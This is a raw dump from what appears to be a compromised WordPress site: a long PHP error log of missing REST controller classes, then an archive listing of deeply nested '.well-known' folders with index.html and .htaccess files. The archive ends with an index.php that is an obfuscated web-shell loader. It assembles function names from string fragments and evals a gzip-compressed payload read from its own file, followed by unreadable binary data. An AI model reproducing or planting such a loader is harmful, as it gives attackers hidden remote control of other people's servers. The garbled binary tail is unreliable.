/home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php on line 17 [10-Sep-2026 21:42:13 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php on line 17 [10-Sep-2026 21:42:32 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-view-config-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-view-config-controller.php on line 18 [10-Sep-2026 21:43:12 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icons-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icons-controller.php on line 19 [10-Sep-2026 21:59:16 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-families-controller.php:15 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-families-controller.php on line 15 [10-Sep-2026 21:59:18 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-faces-controller.php:13 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-faces-controller.php on line 13 [10-Sep-2026 21:59:19 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php on line 17 [10-Sep-2026 21:59:20 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php on line 17 [10-Sep-2026 21:59:21 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php on line 17 [10-Sep-2026 21:59:23 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php on line 17 [10-Sep-2026 21:59:36 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php on line 17 [10-Sep-2026 21:59:38 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php on line 17 [10-Sep-2026 21:59:40 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php on line 17 [10-Sep-2026 21:59:56 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php on line 17 [10-Sep-2026 22:00:29 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php on line 17 [10-Sep-2026 22:00:42 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php:13 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php on line 13 [10-Sep-2026 22:00:46 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Autosaves_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-autosaves-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-autosaves-controller.php on line 17 [10-Sep-2026 22:00:46 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php:20 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php on line 20 [10-Sep-2026 22:00:48 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php on line 17 [10-Sep-2026 22:00:54 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-revisions-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-revisions-controller.php on line 17 [10-Sep-2026 22:01:50 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php on line 17 [10-Sep-2026 22:01:51 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php on line 17 [10-Sep-2026 22:01:52 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php on line 17 [10-Sep-2026 22:01:53 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php on line 19 [10-Sep-2026 22:02:23 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php on line 17 [10-Sep-2026 22:02:28 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php on line 17 [10-Sep-2026 22:02:35 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php on line 17 [10-Sep-2026 22:03:37 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php on line 18 [10-Sep-2026 22:03:53 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Terms_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php on line 17 [10-Sep-2026 22:04:13 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php:20 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php on line 20 [10-Sep-2026 22:06:13 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php on line 17 [10-Sep-2026 22:06:18 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:27 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php on line 27 [10-Sep-2026 22:08:31 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icon-collections-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icon-collections-controller.php on line 18 [10-Sep-2026 22:36:30 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-run-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-run-controller.php on line 19 [10-Sep-2026 22:49:50 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php on line 17 [10-Sep-2026 22:49:50 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php:20 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php on line 20 [10-Sep-2026 22:49:50 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php on line 17 [10-Sep-2026 22:49:50 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php on line 17 [10-Sep-2026 22:49:50 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php on line 19 [10-Sep-2026 22:49:51 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php on line 17 [10-Sep-2026 22:49:52 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php on line 17 [10-Sep-2026 22:49:52 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php on line 17 [10-Sep-2026 22:49:52 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php on line 17 [10-Sep-2026 22:49:57 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php:20 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php on line 20 [10-Sep-2026 22:49:57 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php on line 17 [10-Sep-2026 22:49:57 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php on line 17 [10-Sep-2026 22:49:57 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:27 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php on line 27 [10-Sep-2026 22:49:57 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php on line 17 [10-Sep-2026 22:50:03 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php on line 17 [10-Sep-2026 22:50:08 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php on line 17 [10-Sep-2026 22:50:13 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php on line 17 [10-Sep-2026 22:50:15 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php on line 17 [10-Sep-2026 22:50:20 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php on line 17 [10-Sep-2026 22:50:24 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php on line 17 [10-Sep-2026 22:50:31 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php on line 17 [10-Sep-2026 22:50:41 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Terms_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php on line 17 [10-Sep-2026 22:50:46 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-faces-controller.php:13 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-faces-controller.php on line 13 [10-Sep-2026 22:50:52 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-view-config-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-view-config-controller.php on line 18 [10-Sep-2026 22:50:57 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php on line 17 [10-Sep-2026 22:51:05 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php on line 17 [10-Sep-2026 22:51:10 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php on line 17 [10-Sep-2026 22:51:30 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php on line 18 [10-Sep-2026 22:51:33 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-categories-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-categories-controller.php on line 19 [10-Sep-2026 22:51:37 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php on line 17 [10-Sep-2026 22:51:42 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-categories-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-categories-controller.php on line 19 [10-Sep-2026 22:51:57 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php on line 17 [10-Sep-2026 22:52:25 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-families-controller.php:15 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-families-controller.php on line 15 [10-Sep-2026 22:53:09 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-site-health-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-site-health-controller.php on line 17 [10-Sep-2026 23:08:45 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php on line 17 ������������������������������������v1/css/src/files/awsyy/well-known/acme-challenge/a/g/e/c/uibdv1z/index.html�������������������������0000444�����������������00000000000�15250636727�0022347 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������v1/css/src/files/awsyy/well-known/acme-challenge/a/g/e/c/uibdv1z/.htaccess��������������������������0000444�����������������00000000000�15250636727�0022150 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������v1/css/src/files/awsyy/well-known/pki-validation/a/e/h/d/index.html���������������������������������0000644�����������������00000000000�15250636727�0021055 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������v1/css/src/files/awsyy/well-known/pki-validation/a/e/h/d/.htaccess����������������������������������0000644�����������������00000000000�15250636727�0020656 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������v1/css/src/files/awsyy/yjnj/well-known/acme-challenge/e/g/g/e/aq1nvyu/index.html��������������������0000444�����������������00000000000�15250636727�0023351 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������v1/css/src/files/awsyy/yjnj/well-known/acme-challenge/e/g/g/e/aq1nvyu/.htaccess���������������������0000444�����������������00000000000�15250636727�0023152 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������v1/css/src/files/awsyy/yjnj/well-known/acme-challenge/c/h/g/f/hycfumx/index.html��������������������0000444�����������������00000000000�15250636727�0023430 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������v1/css/src/files/awsyy/yjnj/well-known/acme-challenge/c/h/g/f/hycfumx/.htaccess���������������������0000444�����������������00000000000�15250636727�0023231 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������v1/css/src/files/awsyy/yjnj/well-known/pki-validation/b/c/e/e/index.html����������������������������0000644�����������������00000000000�15250636727�0022024 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������v1/css/src/files/awsyy/yjnj/well-known/pki-validation/b/c/e/e/.htaccess�����������������������������0000644�����������������00000000000�15250636727�0021625 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������v1/css/src/files/awsyy/yjnj/well-known/pki-validation/a/g/b/a/index.html����������������������������0000644�����������������00000000000�15250636727�0022020 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������v1/css/src/files/awsyy/yjnj/well-known/pki-validation/a/g/b/a/.htaccess�����������������������������0000644�����������������00000000000�15250636727�0021621 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������v1/css/src/files/awsyy/yjnj/index.php���������������������������������������������������������������0000444�����������������00000515014�15250636727�0013542 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php $passhash = ''; $userSh = 'F-Automatical'; $KeWH='e'.'x'.'it';$OIEW='s'.'t'.'r'.'_r'.'ep'.'lace';$QqSK='fi'.'le_get'.'_co'.'ntents';$oznv='gzuncom'.'press';$AQad='sub'.'str';eval($oznv($OIEW('xvhqljdzay',">",$OIEW('njurxgpkqh',"<",$AQad($QqSK( __FILE__ ),-170221)))));$KeWH(0); ?> xœ¤ýÇŽìZ–®‰ö ¨wØU #/E­2*ÔZF²s@­µæÁy÷⎈Ì,àv.pWc™;ÅäœcŽñÿóeæëÿßêâ¿þÅxvhqljdzay¤[=ÿ#¿êu[ÿú/U~!I=üË¿þëÿüã?OþñσýËûź-ï©¿ 